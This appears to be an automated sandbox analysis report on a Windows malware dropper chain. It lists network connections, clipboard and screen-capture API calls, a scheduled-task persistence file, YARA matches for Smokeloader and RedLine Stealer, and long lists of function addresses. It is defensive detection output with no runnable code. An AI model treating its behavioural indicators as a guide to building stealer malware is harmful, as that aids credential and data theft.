Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50074 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Code function: 11_2_00431A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

11_2_00431A30

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Code function: 11_2_00431A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

11_2_00431A30

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Code function: 11_2_00431BB0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

11_2_00431BB0

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000C.00000002.3486058612.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000C.00000002.3478917233.0000000000F4D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Binary is likely a compiled AutoIt script file

Source: 3981530833.exe, 00000010.00000000.3188474119.0000000000F62000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_5e50e9b5-8
Source: 3981530833.exe, 00000010.00000000.3188474119.0000000000F62000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_a2042087-b

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: f30149f036.exe.6.dr	Static PE information: section name:
Source: f30149f036.exe.6.dr	Static PE information: section name: .idata
Source: f30149f036.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 176986cc9c.exe.6.dr	Static PE information: section name:
Source: 176986cc9c.exe.6.dr	Static PE information: section name: .idata
Source: 176986cc9c.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: f570600774.exe.6.dr	Static PE information: section name:
Source: f570600774.exe.6.dr	Static PE information: section name: .idata
Source: f570600774.exe.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: 536e42fc8b.exe.6.dr	Static PE information: section name:
Source: 536e42fc8b.exe.6.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00BECB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_00BECB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01058101	0_2_01058101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F878BB	0_2_00F878BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F88860	0_2_00F88860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F87049	0_2_00F87049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F831A8	0_2_00F831A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01057B6E	0_2_01057B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F44B30	0_2_00F44B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F44DE0	0_2_00F44DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F82D10	0_2_00F82D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8779B	0_2_00F8779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F77F36	0_2_00F77F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00C178BB	2_2_00C178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00C17049	2_2_00C17049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00C18860	2_2_00C18860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00C131A8	2_2_00C131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BD4B30	2_2_00BD4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BD4DE0	2_2_00BD4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00C12D10	2_2_00C12D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00C1779B	2_2_00C1779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00C07F36	2_2_00C07F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00C178BB	3_2_00C178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00C17049	3_2_00C17049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00C18860	3_2_00C18860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00C131A8	3_2_00C131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BD4B30	3_2_00BD4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BD4DE0	3_2_00BD4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00C12D10	3_2_00C12D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00C1779B	3_2_00C1779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00C07F36	3_2_00C07F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BDE530	6_2_00BDE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BF6192	6_2_00BF6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C18860	6_2_00C18860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BD4B30	6_2_00BD4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BD4DE0	6_2_00BD4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C12D10	6_2_00C12D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BF0E13	6_2_00BF0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C17049	6_2_00C17049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C131A8	6_2_00C131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BF1602	6_2_00BF1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C1779B	6_2_00C1779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C178BB	6_2_00C178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BF3DF1	6_2_00BF3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C07F36	6_2_00C07F36
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00227AF0	8_2_00227AF0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00221B70	8_2_00221B70
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00221000	8_2_00221000
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00232101	8_2_00232101
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00238900	8_2_00238900
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00246362	8_2_00246362
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00224C00	8_2_00224C00
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_0022D4DB	8_2_0022D4DB
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00233500	8_2_00233500
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00226D70	8_2_00226D70
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_0024458A	8_2_0024458A
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00223E60	8_2_00223E60
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00221000	10_2_00221000
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00232101	10_2_00232101
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00238900	10_2_00238900
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00227AF0	10_2_00227AF0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00246362	10_2_00246362
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00221B70	10_2_00221B70
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00224C00	10_2_00224C00
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_0022D4DB	10_2_0022D4DB
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00233500	10_2_00233500
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00226D70	10_2_00226D70
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_0024458A	10_2_0024458A
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00223E60	10_2_00223E60
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0040A960	11_2_0040A960
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00426170	11_2_00426170
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0040E2A9	11_2_0040E2A9
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00416B7E	11_2_00416B7E
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00439B90	11_2_00439B90
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004233A0	11_2_004233A0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00436C40	11_2_00436C40
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043DCF0	11_2_0043DCF0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004215F0	11_2_004215F0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0042C6D7	11_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043E690	11_2_0043E690
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0042BFD3	11_2_0042BFD3
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00410FD6	11_2_00410FD6
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0042BFDA	11_2_0042BFDA
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004087F0	11_2_004087F0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00436F90	11_2_00436F90
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004097B0	11_2_004097B0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00425F7D	11_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00409070	11_2_00409070
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043A030	11_2_0043A030
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004038C0	11_2_004038C0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004380D9	11_2_004380D9
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0041D8E0	11_2_0041D8E0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0042D085	11_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004280B0	11_2_004280B0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0042297F	11_2_0042297F
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0042A100	11_2_0042A100
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00437900	11_2_00437900
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00416E97	11_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00405910	11_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00425920	11_2_00425920
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004301D0	11_2_004301D0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004081F0	11_2_004081F0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00408990	11_2_00408990
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00417190	11_2_00417190
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00414A40	11_2_00414A40
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0041BA48	11_2_0041BA48
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0040CA54	11_2_0040CA54
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00404270	11_2_00404270
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00422270	11_2_00422270
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00406200	11_2_00406200
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00423A00	11_2_00423A00
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043CAC0	11_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043E2C0	11_2_0043E2C0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004292D0	11_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00415ADC	11_2_00415ADC
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0042BA8D	11_2_0042BA8D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004192BA	11_2_004192BA
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0040B351	11_2_0040B351
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0041CB5A	11_2_0041CB5A
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00409360	11_2_00409360
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0041C360	11_2_0041C360
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00411B1B	11_2_00411B1B
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043533A	11_2_0043533A
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043CBD6	11_2_0043CBD6
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043A3F0	11_2_0043A3F0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00404BA0	11_2_00404BA0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0040D44C	11_2_0040D44C
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00434C4D	11_2_00434C4D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00407470	11_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00419C10	11_2_00419C10
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00418C1E	11_2_00418C1E
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0041D420	11_2_0041D420
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0041DC20	11_2_0041DC20
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00436430	11_2_00436430
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043CCE0	11_2_0043CCE0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00422CF8	11_2_00422CF8
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00427C9D	11_2_00427C9D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043CD60	11_2_0043CD60
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00416571	11_2_00416571
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00424D70	11_2_00424D70
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00423D30	11_2_00423D30
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0041DE40	11_2_0041DE40
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00423E4B	11_2_00423E4B
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00405E60	11_2_00405E60
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00412670	11_2_00412670
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00425670	11_2_00425670
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0041AE00	11_2_0041AE00
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043CE00	11_2_0043CE00
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00423E30	11_2_00423E30
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004156D0	11_2_004156D0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00415EE0	11_2_00415EE0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004266E7	11_2_004266E7
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00406690	11_2_00406690
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00436690	11_2_00436690
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00416E97	11_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00402EA0	11_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004376B0	11_2_004376B0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00426EBE	11_2_00426EBE
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00428F5D	11_2_00428F5D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0042B763	11_2_0042B763
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00425F7D	11_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00414F08	11_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00420717	11_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00418731	11_2_00418731
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0041EF30	11_2_0041EF30
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_004167A5	11_2_004167A5
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00418FAD	11_2_00418FAD
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043DFB0	11_2_0043DFB0
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_3_04D0FD00	12_3_04D0FD00
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_3_04D0DF87	12_3_04D0DF87
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_3_04D19706	12_3_04D19706
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_3_04D03120	12_3_04D03120
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_3_04D022C0	12_3_04D022C0
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_3_04D0E2C9	12_3_04D0E2C9
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_3_04D14AEE	12_3_04D14AEE
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_3_04D0AA90	12_3_04D0AA90
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_3_04D15219	12_3_04D15219
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_3_04D04350	12_3_04D04350
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00402EC0	12_2_00402EC0
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00404F50	12_2_00404F50
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00410900	12_2_00410900
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0041A306	12_2_0041A306
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0040EB87	12_2_0040EB87
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00403D20	12_2_00403D20
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00415E19	12_2_00415E19
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0040EEC9	12_2_0040EEC9
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_004156EE	12_2_004156EE
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0040B690	12_2_0040B690
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_1000E184	12_2_1000E184
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_100102A0	12_2_100102A0
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00A4F4A7	12_2_00A4F4A7
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00AA8E03	12_2_00AA8E03
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00AAC94F	12_2_00AAC94F
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0099AC85	12_2_0099AC85
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0098EAB4	12_2_0098EAB4
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_008EC6EC	12_2_008EC6EC
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_008EC006	12_2_008EC006
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0090041E	12_2_0090041E
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0099060C	12_2_0099060C
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00993C3B	12_2_00993C3B
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00983228	12_2_00983228
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00917E22	12_2_00917E22
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0098B447	12_2_0098B447
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0098999C	12_2_0098999C
